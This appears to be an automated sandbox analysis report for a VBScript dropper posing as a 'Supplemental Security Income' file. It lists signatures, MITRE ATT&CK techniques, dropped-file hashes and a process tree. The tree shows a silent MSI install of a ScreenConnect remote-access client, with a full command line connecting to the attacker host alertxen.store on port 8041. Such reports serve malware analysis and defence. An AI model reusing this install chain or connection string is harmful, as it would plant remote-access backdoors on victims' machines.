Overview

overview

8

Static

static

1

Supplement...26.vbs

windows10-2004-x64

8

Supplement...26.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/09/2026, 21:36

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General

  • Target
    Supplemental_Security_Income2026.vbs
  • Size 1KB
  • Sample260929-1gerfsfh49
  • SHA256 0c0005d96d49bf2ef1ef3f3e1851f46d3f0514f5f94e84eefd3036112508d6bf
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Supplemental_Security_Income2026.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:248
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Supplemental_Security_Income2026.vbs" /elevate
      2⤵
      • Badlisted process makes network request
      • Executes a VBScript file via the Windows Script Host.
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\installer.msi" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5380
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5556
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D052ACBDE9BB9FF5263565BF9EF0C39B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI9522.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752140 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5372
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6EF076422C5022B16E26837D8AAED2CA E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3252
  • C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=alertxen.store&p=8041&s=81237251-a5ee-482c-9e40-69cc200d7f3f&k=BgIAAACkAABSU0ExAAgAAAEAAQAhm12Gxos%2buYe%2bOPH%2f4P8PHmk1F87PojTrTyPZfibohCGMVEWLYVGfAaiMC1YIVVmRZWCtl0cOBwqP%2fLtU4ZWWjim6aLCIuNrY0YKPjt%2fnFnpuxM%2bv5P7meCsh2oDA9VY%2btiXPGLsuNbmxTOlBnJhU1DtH%2bilJF26E3fO78tDTVi3OLeU2%2fzoTge0Tl%2bkpN1G4Y8cNqUHu0AQvR6o062U4GlnBGeCfp4si7ndpKubXHgjeEyOyI%2feEX5VTibtkNwoR%2bC8fHc%2bEgd5kiX7Et2BYKVKykFXcOUExsmj6dSZd8h5nP8tHOFBO67teEPhhJ9uaSzl3u9EyuQyVZnYK%2bkvK"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:480
    • C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe" "RunRole" "b3b258a4-cfff-48de-8fa6-f45addaab87c" "User"
      2⤵
      • Executes dropped EXE
      PID:3328
    • C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe" "RunRole" "b6a45f1f-9337-4fca-9652-a8b4f0f8df94" "System"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:1304

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Visual Basic

        1
        T1059.005

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        1
        T1016

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e599321.rbs
        • Path C:\Config.Msi\e599321.rbs
        • Size 214KB
        • SHA256 9f3bdfb14f10b912deb14f3f174b05412d1ea710657626fa46820520f3000682
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\Client.Override.en-US.resources
        • Size 255B
        • SHA256 ce6b2ac2ccee08f2e7d8b9074278e297d40ada0ef973acc4332039c03fd80273
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\Client.resources
        • Size 33KB
        • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.Client.dll
        • Size 202KB
        • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.ClientService.dll
        • Size 77KB
        • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.Core.dll
        • Size 549KB
        • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 838KB
        • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\app.config
        • Size 1005B
        • SHA256 d941ced9bb070fefe2b2c771b23470fadda02e018fdeff1adecbfc76da027f58
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (4bbb38c69057c478)\system.config
        • Size 948B
        • SHA256 e81eee8aed1e2f8640b9f4217f89d90f39b3759c9a458e18cfbe782054686cc8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        MSI9522.tmp
        • Path C:\Windows\Installer\MSI9522.tmp
        • Size 1.0MB
        • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI9522.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI9522.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI9522.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI9522.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI9A92.tmp
        • Path C:\Windows\Installer\MSI9A92.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        installer.msi
        • Path C:\Windows\Temp\installer.msi
        • Size 12.6MB
        • SHA256 1d6bf6cedbee01c6ab7b79c46246af98a2953b88573f0901e4166400e3a028c2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/480-93-0x0000000004340000-0x0000000004390000-memory.dmp
        Download

        memory/480-73-0x0000000003FB0000-0x0000000003FC8000-memory.dmp
        Download

        memory/480-101-0x0000000004390000-0x00000000043C6000-memory.dmp
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        memory/480-83-0x00000000043E0000-0x000000000458C000-memory.dmp
        Download

        memory/480-104-0x0000000004590000-0x00000000045D1000-memory.dmp
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        memory/480-106-0x0000000004820000-0x00000000048F5000-memory.dmp
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        memory/480-79-0x00000000041A0000-0x000000000422E000-memory.dmp
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        memory/480-102-0x0000000004630000-0x00000000046C2000-memory.dmp
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        memory/3328-116-0x000000001BA10000-0x000000001BA46000-memory.dmp
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        memory/3328-113-0x0000000000DE0000-0x0000000000E78000-memory.dmp
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        memory/3328-118-0x000000001C090000-0x000000001C23C000-memory.dmp
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        memory/3328-117-0x000000001BE50000-0x000000001BEDE000-memory.dmp
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        memory/3328-119-0x000000001C3D0000-0x000000001C558000-memory.dmp
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        memory/3328-120-0x0000000002F90000-0x0000000002FA8000-memory.dmp
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        memory/3328-121-0x0000000003000000-0x0000000003018000-memory.dmp
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        memory/3328-122-0x000000001BA50000-0x000000001BA91000-memory.dmp
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        memory/5372-26-0x0000000003FD0000-0x0000000003FDA000-memory.dmp
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        memory/5372-22-0x0000000003F90000-0x0000000003FBE000-memory.dmp
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        memory/5372-30-0x00000000040A0000-0x000000000412E000-memory.dmp
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        memory/5372-34-0x0000000006350000-0x00000000064FC000-memory.dmp
        Download

        memory/5372-35-0x0000000006AC0000-0x000000000707A000-memory.dmp
        Download